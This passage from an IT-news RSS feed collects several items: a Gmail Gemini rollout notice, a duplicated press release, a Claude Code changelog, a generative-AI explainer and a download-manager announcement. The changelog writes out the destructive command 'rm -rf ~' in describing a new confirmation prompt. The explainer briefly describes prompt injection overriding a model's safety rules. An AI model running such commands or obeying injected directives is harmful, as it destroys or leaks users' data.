href="https://support.google.com/mail/answer/13955415?hl=en&amp;co=GENIE.Platform%3DDesktop" target="_blank">learn more about drafting emails with Gemini in Gmail</a>.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Rolling out now, with expected completion by July 20, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li><b>Business: </b>Business Starter, Standard, and Plus</li><li><b>Enterprise:</b> Enterprise Starter, Standard, and Plus</li><li><b>Consumer: </b>Google AI Plus, Pro, and Ultra</li><li><b>Other Editions: </b>Frontline Plus</li><li><b>Education Add-ons:</b> Google AI Pro for Education</li><li><b>Other Add-ons: </b>AI Expanded Access</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Gmail Help: <a href="https://support.google.com/mail/answer/13955415?hl=en&amp;co=GENIE.Platform%3DDesktop" target="_blank">Draft emails with Gemini in Gmail</a></li></ul><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Greenhat Announces Successful Delegation at Web Summit Vancouver 2026]]></title>
<description><![CDATA[Vancouver, Canada, July 14th, 2026, CyberNewswire Canadian Cybersecurity Leaders Celebrate Successful Web Summit Vancouver 2026 and Growing Canada–Korea Collaboration The Canadian Cyber Zone brought together cybersecurity, quantum security, application security, compliance, and international inno...]]></description>
<link>https://tsecurity.de/de/3667492/it-security-nachrichten/greenhat-announces-successful-delegation-at-web-summit-vancouver-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667492/it-security-nachrichten/greenhat-announces-successful-delegation-at-web-summit-vancouver-2026/</guid>
<pubDate>Tue, 14 Jul 2026 11:54:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Vancouver, Canada, July 14th, 2026, CyberNewswire Canadian Cybersecurity Leaders Celebrate Successful Web Summit Vancouver 2026 and Growing Canada–Korea Collaboration The Canadian Cyber Zone brought together cybersecurity, quantum security, application security, compliance, and international innovation leaders during one of Canada’s largest technology events The Canadian Cyber Zone announced the successful completion of its participation at Web […]</p>
<p>The post <a href="https://cybersecuritynews.com/greenhat-announces-successful-delegation-at-web-summit-vancouver-2026/">Greenhat Announces Successful Delegation at Web Summit Vancouver 2026</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Greenhat Announces Successful Delegation at Web Summit Vancouver 2026]]></title>
<description><![CDATA[Vancouver, Canada, July 14th, 2026, CyberNewswire Canadian Cybersecurity Leaders Celebrate Successful Web Summit Vancouver 2026 and Growing Canada–Korea Collaboration The Canadian Cyber Zone brought together cybersecurity, quantum security, application security, compliance, and international inno...]]></description>
<link>https://tsecurity.de/de/3667491/it-security-nachrichten/greenhat-announces-successful-delegation-at-web-summit-vancouver-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667491/it-security-nachrichten/greenhat-announces-successful-delegation-at-web-summit-vancouver-2026/</guid>
<pubDate>Tue, 14 Jul 2026 11:54:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Vancouver, Canada, July 14th, 2026, CyberNewswire Canadian Cybersecurity Leaders Celebrate Successful Web Summit Vancouver 2026 and Growing Canada–Korea Collaboration The Canadian Cyber Zone brought together cybersecurity, quantum security, application security, compliance, and international innovation leaders during one of Canada’s largest technology events The Canadian Cyber Zone announced the successful completion of its participation at Web […]</p>
<p>The post <a href="https://gbhackers.com/greenhat-announces-successful-delegation-at-web-summit-vancouver-2026/">Greenhat Announces Successful Delegation at Web Summit Vancouver 2026</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.208]]></title>
<description><![CDATA[What's changed

Added screen reader mode: opt-in plain-text rendering for screen reader users. Run claude --ax-screen-reader, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.
Added vimInsertModeRemaps setting: map two-key insert-mode sequences like jj to Escape in vim mod...]]></description>
<link>https://tsecurity.de/de/3666678/downloads/v21208/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666678/downloads/v21208/</guid>
<pubDate>Tue, 14 Jul 2026 03:16:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added screen reader mode: opt-in plain-text rendering for screen reader users. Run <code>claude --ax-screen-reader</code>, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.</li>
<li>Added <code>vimInsertModeRemaps</code> setting: map two-key insert-mode sequences like <code>jj</code> to Escape in vim mode</li>
<li>Added <code>CLAUDE_CODE_PROCESS_WRAPPER</code>: agent view and the background service now honor a corporate launcher by running every Claude Code self-spawn through a required wrapper executable</li>
<li>Added mouse-click support for multi-select menus and "Other" input rows in fullscreen mode</li>
<li>Fixed fast mode staying off after switching back to a model that supports it — it now restores automatically when enabled in settings</li>
<li>Fixed replies typed to a background agent being lost when delivery fails — the text is now saved and delivered when the session restarts</li>
<li>Fixed background-session attach failing permanently ("Couldn't start the background daemon") after an update replaced the binary a running <code>claude agents</code> process was launched from</li>
<li>Fixed the context window (and auto-compact indicator) briefly resetting to 200k after the CLI auto-updates, causing a false "100% context used" when resuming long-context sessions</li>
<li>Fixed supervised and background sessions crashing when a server closed an HTTP/2 connection with a GOAWAY while requests were in flight</li>
<li>Fixed truncated stream-json/JSON output and missing result message when piping large responses from <code>claude -p</code></li>
<li>Fixed <code>CLAUDE_CODE_MAX_OUTPUT_TOKENS</code> and similar env vars silently using the mantissa of scientific-notation values (<code>1e6</code> became <code>1</code>)</li>
<li>Fixed very large markdown tables stalling rendering or using excessive memory; tables over 200 rows show the first 200 with a "… N more rows" notice</li>
<li>Fixed the Edit tool failing on files modified after reading when the target text still matches uniquely</li>
<li>Fixed Read reporting empty files as "shorter than offset", Grep silently returning "No files found" for invalid regex patterns, Grep count mode under-reporting totals when paginated, and Glob crashing with an unclear error when the pattern, path, or working directory contained a null byte</li>
<li>Fixed <code>apiKeyHelper</code> script failures being hidden behind a generic 401 after ~10 silent retries; the script's own error is now shown within 3 attempts</li>
<li>Fixed Bedrock streaming requests failing with a misleading "Truncated event message received" when a gateway transforms the response — the error now names the content-type and points at the proxy</li>
<li>Fixed <code>/upgrade</code> showing a login flow instead of the upgrade URL when the browser fails to open</li>
<li>Fixed stream-json input killing the session on blank CRLF or whitespace-only lines from Windows-style SDK hosts</li>
<li>Fixed headless stream-json sessions hanging permanently when a <code>control_request</code> carried a non-string <code>set_model</code> payload; the CLI now answers with an error response</li>
<li>Fixed repeated "No completion record was found" notices on session resume — orphaned background tasks now collapse into a single summary</li>
<li>Fixed Remote Control clients attaching to a terminal-hosted session not seeing background agents and workflow progress until a task started or stopped</li>
<li>Fixed the Agent tool launching with no tools when a subagent's <code>tools</code> list resolves to nothing — it now returns a clear error naming the unrecognized entries</li>
<li>Fixed <code>/usage</code> showing stale cached bars over fresher data, and <code>/mcp</code> not reclassifying placeholder servers after config edits</li>
<li>Fixed "Change directory" in SDK hosts (e.g. Claude Desktop) failing with "A turn is in progress" on idle sessions that have a running background task</li>
<li>Fixed the workflow save dialog showing <code>~/.claude/workflows/</code> instead of the <code>CLAUDE_CONFIG_DIR</code> location for user-scope saves</li>
<li>Fixed <code>/release-notes</code> adding the viewed notes to the model's context — "Show all" previously injected the entire changelog into every subsequent request</li>
<li>Fixed a memory leak in the agent view where pasted images were retained for the screen's lifetime after sending peek replies</li>
<li>Fixed SDK sessions losing agents defined via the initialize request when a plugin refresh ran before the client attached</li>
<li>Fixed several memory leaks in long sessions: MCP stdio server stderr accumulating up to 64 MB per server, LSP documents staying open indefinitely (now LRU with 50-doc cap), async hook output retained after backgrounding, and unbounded growth in headless/SDK sessions from large tool-result payloads</li>
<li>Fixed a memory blowup when reading files with extremely long single lines using offset/limit — the read now returns a clean error instead of loading the whole line</li>
<li>Fixed multi-second per-turn slowdowns in sessions with many permission deny/ask rules — rule matchers are now compiled once and cached</li>
<li>Improved input responsiveness while agent task lists update — task updates no longer re-render the entire UI</li>
<li>Reduced per-tool-call CPU overhead in print/SDK sessions with many MCP tools by caching tool-pool assembly (up to 7x faster tool rounds at high tool counts)</li>
<li>Reduced memory usage by bounding the file edit read cache to 16 MB instead of pinning up to 1,000 full files</li>
<li>Reduced session transcript size (up to 79x in edit-heavy sessions) and bounded checkpoint disk usage by pruning superseded file-history backups</li>
<li>Reduced memory usage when resuming sessions with background agents or forks spawned from large conversations</li>
<li>Completed background agents now stay listed in <code>/tasks</code> until cleanup instead of vanishing the moment they finish</li>
<li>Attaching to a stopped background agent now shows its transcript immediately while the session warms up, instead of a blank "Session is starting" screen</li>
<li>Background sessions: an older daemon no longer silently restarts workers spawned by a newer version onto the older binary</li>
<li>Agent view: Ctrl+X now deletes renamed-branch worktrees, never destroys unpushed commits, keeps the session row when a worktree is kept, and reused worktree names reset to the current base</li>
<li>Catastrophic removals (e.g. <code>rm -rf ~</code>) in commands containing <code>$(…)</code>/backticks/<code>&lt;(…)</code> now prompt in <code>--dangerously-skip-permissions</code> and auto mode, matching the plain form</li>
<li><code>/install-github-app</code> and the <code>/mcp</code> settings menu no longer open in background sessions</li>
<li>MCP servers configured with an empty URL now show as "not configured" in <code>/mcp</code> instead of a config error</li>
<li><code>/usage</code> now shows your last-known usage bars with an "as of" note when the usage endpoint is rate-limited, instead of an error screen</li>
<li>Fixed Bedrock auth failing with "Session token not found or invalid" for AWS SSO profiles whose sso_region differs from the Bedrock region (2.1.207 regression)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The price is wrong: AI cost calculation has to consider task completion rates, not just token costs]]></title>
<description><![CDATA[Cheap can be expensive]]></description>
<link>https://tsecurity.de/de/3666398/it-nachrichten/the-price-is-wrong-ai-cost-calculation-has-to-consider-task-completion-rates-not-just-token-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666398/it-nachrichten/the-price-is-wrong-ai-cost-calculation-has-to-consider-task-completion-rates-not-just-token-costs/</guid>
<pubDate>Mon, 13 Jul 2026 22:32:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cheap can be expensive]]></content:encoded>
</item>
<item>
<title><![CDATA[What is generative AI? How artificial intelligence creates content]]></title>
<description><![CDATA[Generative AI is a kind of artificial intelligence that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.



Today’s generative models are typically built on foundation-model architectures such as large-language models (LLMs) and m...]]></description>
<link>https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Generative AI is a kind of <a href="https://www.computerworld.com/article/1647870/what-is-artificial-intelligence.html">artificial intelligence</a> that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.</p>



<p class="wp-block-paragraph">Today’s generative models are typically built on foundation-model architectures such as <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large-language models (LLMs)</a> and multimodal systems, enabling them to carry on conversations, answer questions, write stories, generate code, and produce images or videos from brief prompts.</p>



<p class="wp-block-paragraph"><em>Generative AI</em> is different from <em>discriminative AI</em>, which draws distinctions between different kinds of input. Where discriminative AI answers questions like “Is this image of a rabbit or a lion?”, generative AI instead responds to prompts such as “Describe to me how a rabbit and lion look different from one another” or “Draw me a picture of a lion and a rabbit sitting next to each other” — and in both cases produces text or imagery that, while grounded in the AI’s training data, isn’t just a copy of something that already existed.</p>



<aside class="fakesidebar">
<h4>[ <u><a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">Read next: Large language models: The foundations of generative AI</a></u> ]</h4>
</aside>




<p class="wp-block-paragraph">Just a few years ago, generative AI was once a novelty focused on chatbots and artistic image generation. Today, it has become a core enterprise technology, and powers everything from content creation and software development to customer support and analytics workflows. But with that power comes a <a href="https://www.csoonline.com/article/4076511/4-factors-creating-bottlenecks-for-enterprise-genai-adoption.html">new set of challenges</a> — from model alignment and hallucination to governance and data-integration hurdles.</p>



<p class="wp-block-paragraph">In this article, we’ll look at how generative AI works, explore how it has evolved into the foundation-model era, examine how to implement it effectively, and offer best practices for getting value out of it, today and in the future.</p>



<h2 class="wp-block-heading"><strong>How does generative AI work?</strong></h2>



<p class="wp-block-paragraph">For decades, early artificial-intelligence efforts often focused on rule-based systems or <a href="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html">narrowly trained models</a> that were built for one task at a time. While these efforts produced useful systems that could reason and solve human tasks, they were generally a far cry from sci-fi visions of thinking machines. Programs that could talk to people never seemed to get very far past the level of <a href="https://en.wikipedia.org/wiki/ELIZA">ELIZA</a>, a “computer therapist” created at MIT in the mid 1960s; even Siri and Alexa after much fanfare were revealed to be fairly limited.</p>



<p class="wp-block-paragraph">The big structural shift that gave birth to modern generative AI came with the concept of a <em>transformer, </em>first introduced in “<a href="https://arxiv.org/abs/1706.03762">Attention Is All You Need</a>,” a 2017 paper from Google researchers.</p>



<p class="wp-block-paragraph">Using a transformer architecture as a basis, you can build a system that derives meaning from analyzing long sequences of input <em>tokens</em> (words, sub-words, bytes) to understand how different tokens might be related to one another, then determines how likely any given token is to come next in a sequence, given the others. In AI lingo, we call these systems <em>models.</em> Because a model analyzes very large datasets and parameter counts, it can pick up on statistical patterns and knowledge implicitly embedded in the data.</p>



<p class="wp-block-paragraph">This is all easier said than done. The process of adjusting a model’s internal parameters so it gets better at predicting the next token in sequences is called <em>training</em>. During training, the model repeatedly guesses the next token in a given sequence, compares its prediction to the actual one, measures the error, and updates its parameters to reduce that error across billions of examples. Over time, that process teaches the model the statistical relationships that will allow it to generate coherent language (or code, or images) later.</p>



<h2 class="wp-block-heading"><strong>What is a foundation model?</strong></h2>



<p class="wp-block-paragraph">You’ll often hear the word <em>large</em> used for transformer-based models of these types, like the LLMs we mentioned earlier. <em>Large</em> in this context refers to the large number of internal numerical values that the model adjusts during training to represent what it has learned, along with breadth and diversity of data used to train the model and the underlying compute resources powering this whole process.</p>



<p class="wp-block-paragraph">This is in contrast with the narrow models of the earlier era of AI/ML, which werebuilt for one purpose and trained on a limited dataset. For instance, a spam filter may be very good at what it does, but it’s only trained on email data and all it can do is classify emails. Large models, by contrast, serve as what’s known as <em>foundation models</em>. They’re trained broadly on diverse data (text, code, images, or multimodal data) and then adapted or specialized for many downstream tasks.</p>



<p class="wp-block-paragraph">These foundation models are the basis for most of the popular generative AI tools and services on the market today. They can be specialized in several ways:</p>



<ul class="wp-block-list">
<li><strong>Fine-tuning:</strong> Giving a foundation model further training on a smaller, task-specific dataset</li>



<li><strong>Retrieval-augmented generation</strong> <strong>(RAG):</strong> Giving the model the ability to pull in external knowledge when asked a question</li>



<li> <strong>Prompt engineering</strong>: Tailoring a query so the model gives the sort of answers you’re looking for.</li>
</ul>



<h2 class="wp-block-heading"><strong>How do AI systems write computer code?</strong></h2>



<p class="wp-block-paragraph">One of the surprising discoveries of the gen AI era was that in recent years was that foundation models trained on natural-language text can also, when fine-tuned with code examples, also write computer code — often better than many purpose-built systems. Still, it makes sense, when you think about it — after all, high-level computer languages are designed by humans and ultimately based on human language.</p>



<p class="wp-block-paragraph">This <a href="https://www.infoworld.com/article/2338500/llms-and-the-rise-of-the-ai-code-generators.html?utm_source=chatgpt.com">2023 InfoWorld article</a> highlights how models like PaLM, LLaMA and other transformer-based systems fine-tuned on code repositories propelled this shift, but since AI giants like <a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">OpenAI</a> have moved into this space. This all matters because code generation (or code-assisted productivity) has become a key enterprise use case of generative AI — perhaps <em>the </em>key use, given the industry’s enthusiastic adoption of it.</p>



<h2 class="wp-block-heading"><strong>What are AI agents?</strong></h2>



<p class="wp-block-paragraph">So far, we’ve been talking about chatbots, writing assistants, image-generation tools. They respond to prompts, output text or images, and then stop. A new category of tool called <em><a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">agentic AI</a></em> goes further: it <em>plans</em>, <em>executes</em>, and in many cases <em>learns</em> as it works.</p>



<p class="wp-block-paragraph">Because large models already understand language, code, and even structured data to some extent, they can be repurposed to generate not only descriptive text but <em>operational instructions</em>. For example: an agent might parse the intent “generate a sales-report”, then format internal calls like getData(salesDB, region=NA, period=lastQuarter), and then call an API, all by generating text that’s interpreted as instructions. The <a href="https://www.infoworld.com/article/4064169/how-mcp-is-making-ai-agents-actually-do-things-in-the-real-world.html.">MCP framework</a> standardizes the “language” of those instructions and the plug-points into tools and data so that the model doesn’t need bespoke integrations for each new workflow.</p>



<p class="wp-block-paragraph">These kinds of autonomous agents have several enterprise use cases:</p>



<ul class="wp-block-list">
<li><strong>Software automation</strong>: Agents that generate code, call unit tests, deploy builds, monitor logs and even roll back changes autonomously.</li>



<li><strong>Customer support</strong>: Instead of simply drafting responses, agents interact with CRM APIs, update ticket statuses, escalate issues, and trigger follow-up workflows.</li>



<li><strong>IT operations/AIOps</strong>: Agents <a href="https://www.cio.com/article/222623/7-things-to-know-about-ai-in-the-data-center.html">monitor infrastructure, identify anomalies, open/close tickets, or auto-remediate</a> based on defined rules and context from logs.</li>



<li><strong>Security</strong>: Agents may detect threats, initiate alerts, isolate compromised systems, or even attempt to manage threat containment — though this raises new risks.</li>
</ul>



<h2 class="wp-block-heading"><strong>How can you implement generative AI in the enterprise?</strong></h2>



<p class="wp-block-paragraph">We’ve now touched on <em>what</em> generative AI can do. But <em>how</em> can you make it work reliably in your business. The difference between a pilot and full-scale deployment often comes down to systems, structure and governance as much as to models themselves. <em>InfoWorld’</em>s Matt Asay offers a <a href="https://www.infoworld.com/article/4044919/enterprise-essentials-for-generative-ai.html">deep dive into enterprise gen AI essentials</a>, but here are some important points to keep in mind:</p>



<p class="wp-block-paragraph"><strong>Choosing between API, open-source or custom fine-tuned models. </strong>One of the first major decisions for any enterprise project is: do you use a model via an API (e.g., from a vendor like OpenAI or Anthropic), deploy an open-source model internally, or build/fine-tune a custom model yourself? Each has trade-offs.</p>



<p class="wp-block-paragraph">APIs offer speed and minimal setup, but may expose data, limit customization or accrue high cost — and will leave you at the mercy of your vendor. Open source allows internal control and may ease fine-tuning, but requires infrastructure, expertise, and support. Custom fine-tuning gives you the tightest alignment to your use-case, but lengthens time to value and increases risk.</p>



<p class="wp-block-paragraph"><strong>Governance, data privacy and compliance. </strong>Deploying generative AI in an enterprise setting raises new governance, privacy and regulatory issues. For example: Who owns the data that’s ingested? How is proprietary data protected if you call a third-party API? What traceability exists for model outputs—a huge question for regulated industries? One useful framework is covered in “A GRC framework for securing generative AI” Data governance <a href="https://www.infoworld.com/article/2336154/how-data-governance-must-evolve-to-meet-the-generative-ai-challenge.html">must adapt for the new era</a>,  and <a href="https://www.infoworld.com/article/3604732/a-grc-framework-for-securing-generative-ai.html">new frameworks are evolving to help</a>.</p>



<p class="wp-block-paragraph"><strong>Human-in-the-loop review. </strong>Even the best models make mistakes and cannot simply be put on autopilot. You need a <em>human-in-the-loop (HITL)</em> process: real people need to review outputs, validate for bias, approve high-stakes content, and tune prompts or models based on feedback. Incorporating HITL checkpoints helps mitigate risk and improve overall quality.</p>



<p class="wp-block-paragraph"><strong>Integration with existing systems and RAG pipelines. </strong><a href="https://www.infoworld.com/article/2337050/how-rag-completes-the-generative-ai-puzzle.html">Retrieval-augmented generation</a>, which we touched on earlier, connects foundation models into business workflows, systems, and enterprise data stores. RAG can bind LLMs to your organization’s internal knowledge bases, thereby reducing <em>hallucinations </em>(which we’ll discuss in a moment) and increasing the relevance of gen AI output.</p>



<aside class="sidebar">
<h3><strong> Implementation best practices for generative AI</strong></h3>
<p> Here are four AI best practices to keep in mind:</p>
<ol>
<li> Guardrails: Define clear operational boundaries. Examples: restrict sensitive data output, enforce access controls, log model interactions.</li>
<li> Prompt engineering: Because much of what the model will do depends on how it’s prompted, invest in prompt design, versioning, review, and testing.</li>
<li> Evaluation metrics: Define appropriate KPIs (accuracy, latency, cost, business outcome), monitor them and iterate.</li>
<li> Model observability: Treat generative-AI systems like software — monitor performance, detect drift, handle failures gracefully, audit outputs and maintain traceability.</li>
</ol>
</aside>




<h2 class="wp-block-heading"><strong>What causes AI hallucinations?</strong></h2>



<p class="wp-block-paragraph">Probably the biggest limitation of generative AI is what those in the industry call <em>hallucinations</em>, which is a perhaps misleading term for output that is, by the standards of humans who use it, false or incorrect.  </p>



<p class="wp-block-paragraph">Every generative AI system, no matter how advanced, is built around prediction. Remember, a model doesn’t truly <em>know</em> facts—it looks at a series of tokens, then calculates, based on analysis of its underlying training data, what token is most likely to come next. This is what makes the output fluent and human-like, but if its prediction is wrong, that will be perceived as a hallucination.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/GenAI_takeaways.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Table describing five key points about generatvie AI" class="wp-image-4082262" width="1024" height="648" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Generative AI, foundation models, agentic AI, governance, and implementation strategy top the list of top generative AI takeaways.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Because the model doesn’t distinguish between something that’s known to be true and something likely to follow on from the input text it’s been given, hallucinations are a direct side effect of the statistical process that powers generative AI. And don’t forget that we’re often pushing AI models to come up with answers to questions that we, who also have access to that data, can’t answer ourselves.</p>



<p class="wp-block-paragraph">In text models, hallucinations might mean inventing quotes, fabricating references, or misrepresenting a technical process. In code or data analysis, it can produce <a href="https://www.infoworld.com/article/3822251/how-to-keep-ai-hallucinations-out-of-your-code.html">syntactically correct but logically wrong results</a>. Even RAG pipelines, which provide real data context to models, only <em>reduce</em> hallucination—they don’t eliminate it. Enterprises using generative AI need <a href="https://www.cio.com/article/4073606/reducing-llm-hallucinations-in-enterprise-systems.html">review layers, validation pipelines, and human oversight</a> to prevent these failures from spreading into production systems.</p>



<h2 class="wp-block-heading"><strong>What are some other problems with generative AI?</strong></h2>



<p class="wp-block-paragraph">Generative AI has proven to be such a disruptive technology that’s stoking near-apocalyptic fears that it will result in a superintelligence that will enslave or destroy humanity. Meanwhile, in the present day, increasingly troubling reports of so-called <a href="https://www.psychologytoday.com/us/blog/urban-survival/202507/the-emerging-problem-of-ai-psychosis">AI psychosis</a> are emerging, where people have mental health episodes triggered by the uncanny and sometimes sycophantic ways chatbots affirm whatever you talk to them about and try to keep the conversation going.</p>



<p class="wp-block-paragraph">Compared to such existential questions, the following business-related problems may seem petty. But they’re real issues for enterprises considering investing in AI tools.</p>



<ul class="wp-block-list">
<li><strong>Data leakage and regulatory risk. </strong>When a model is fine-tuned or prompted with sensitive information, that data may be memorized and unintentionally reproduced. Using <a href="https://www.csoonline.com/article/3819170/nearly-10-of-employee-gen-ai-prompts-include-sensitive-data.html">third-party APIs without strict controls</a> can expose proprietary or personally identifiable information (PII). Regulatory frameworks like GDPR and HIPAA require explicit governance around where training data resides and how inference results are stored.</li>



<li><strong>Prompt injection </strong>occurs when an attacker manipulates a model’s instructions—embedding hidden directives or malicious payloads in user input or external content the model reads. This can override safety rules, expose internal data, or execute unintended actions in agentic systems. Guardrails that sanitize inputs, restrict tool-calling permissions, and validate outputs are becoming essential.</li>



<li><strong>Copyright and content ownership. </strong>Many foundation models are trained on data scraped from the public internet, creating disputes over copyright and data provenance. Enterprises using generated output commercially need to confirm usage rights and review indemnity terms from vendors.</li>



<li><strong>Unrealistic productivity expectations. </strong>Finally, organizations sometimes expect generative AI to deliver instant productivity gains. The reality, it turns out, is more <a href="https://leaddev.com/velocity/ai-doesnt-make-devs-as-productive-as-they-think-study-finds">mixed</a>. Enterprise adoption requires infrastructure, governance, retraining, and cultural change. The models accelerate work once properly integrated, but they don’t automatically replace human judgment or oversight.</li>
</ul>



<p class="wp-block-paragraph">The current generation of enterprise AI systems includes several layers of defense against these risks:</p>



<ul class="wp-block-list">
<li><em>Guardrails</em> that constrain model behavior and filter unsafe outputs.</li>



<li><em>Model validation</em> frameworks that measure factual accuracy and consistency before deployment.</li>



<li><em>Policy layers</em> that enforce compliance rules, redact sensitive data, and log model actions.</li>
</ul>



<p class="wp-block-paragraph">These safeguards reduce—but don’t remove—the inherent uncertainty that defines generative AI.</p>



<h2 class="wp-block-heading"><strong>GenAI: essential for the enterprise</strong></h2>



<p class="wp-block-paragraph">Generative AI has evolved from a novelty into a core layer of enterprise technology. Foundation models and agentic systems now power automation, analytics, and creative workflows — but they remain fundamentally probabilistic tools. Their strength lies in scale and adaptability, not perfect understanding.</p>



<p class="wp-block-paragraph">For organizations, success depends less on chasing model breakthroughs than on integrating these systems responsibly: building guardrails, maintaining oversight, and aligning them with real business needs. Used wisely, generative AI can amplify human capability rather than replace it.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firelink: Modern cross-platform download manager with support for media fetch/download]]></title>
<description><![CDATA[Hello! This project began as a fun vibe coding Swift app for Mac, but it quickly evolved into a comprehensive learning experience as I aimed to make it cross-platform. I completely revamped the application from scratch, this time using Rust and Tuari. It was quite a journey, but I’m excited to sh...]]></description>
<link>https://tsecurity.de/de/3663265/linux-tipps/firelink-modern-cross-platform-download-manager-with-support-for-media-fetchdownload/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663265/linux-tipps/firelink-modern-cross-platform-download-manager-with-support-for-media-fetchdownload/</guid>
<pubDate>Sun, 12 Jul 2026 14:23:22 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello!</p> <p>This project began as a fun vibe coding Swift app for Mac, but it quickly evolved into a comprehensive learning experience as I aimed to make it cross-platform.</p> <p>I completely revamped the application from scratch, this time using Rust and Tuari. It was quite a journey, but I’m excited to share the first stable version with you!</p> <p>Additionally, there’s Firefox and Chromium extension available for integration, which you can find on the GitHub page.</p> <h1>Features</h1> <ul> <li><strong>Fast segmented downloads</strong> powered by aria2 with configurable connections, retries, and speed limits.</li> <li><strong>Media extraction</strong> with yt-dlp, FFmpeg, and Deno for video/audio links and richer format selection.</li> <li><strong>A real Add window</strong> for manual, extension-captured, and media downloads, including metadata, duplicate handling, and save-location choices before downloads start.</li> <li><strong>Persistent queue management</strong> with safe concurrency limits, pause/resume, retry, redownload, sorting, multi-select, and bulk controls.</li> <li><strong>Download scheduling</strong> with start/stop windows, speed-limiter tools, and optional post-queue actions.</li> <li><strong>Smart organization</strong> through categories, default folders, per-download overrides, and open/reveal/trash actions.</li> <li><strong>Private browser handoff</strong> through authenticated local pairing with replay protection and desktop-server proof checks.</li> <li><strong>Native desktop integration</strong> including tray controls, notifications, completion sounds, sleep prevention, and OS keychain support where available.</li> <li><strong>Diagnostics</strong> built in with engine health checks, structured logs, and packaged-engine verification.</li> <li><strong>Firefox and Chromium Extension</strong>: <ul> <li>Automatic download capture for ordinary browser downloads.</li> <li>Media fetch from the extension popup or page context menu.</li> <li>Context-menu actions for single links and selected text containing links.</li> </ul></li> </ul> <p>Credits to Aria2, yt-dlp, FFmpeg, and Deno projects and their contributors that made this possible.</p> <p>Firelink release page: <a href="https://github.com/nimbold/Firelink/">https://github.com/nimbold/Firelink/</a></p> <p>Firefox-Extension: <a href="https://github.com/nimbold/Firelink-Extension">https://github.com/nimbold/Firelink-Extension</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/NimBold"> /u/NimBold </a> <br> <span><a href="https://i.redd.it/lzzdkiqqkrch1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uuacup/firelink_modern_crossplatform_download_manager/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s new with Google Cloud]]></title>
<description><![CDATA[Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud bl...]]></description>
<link>https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
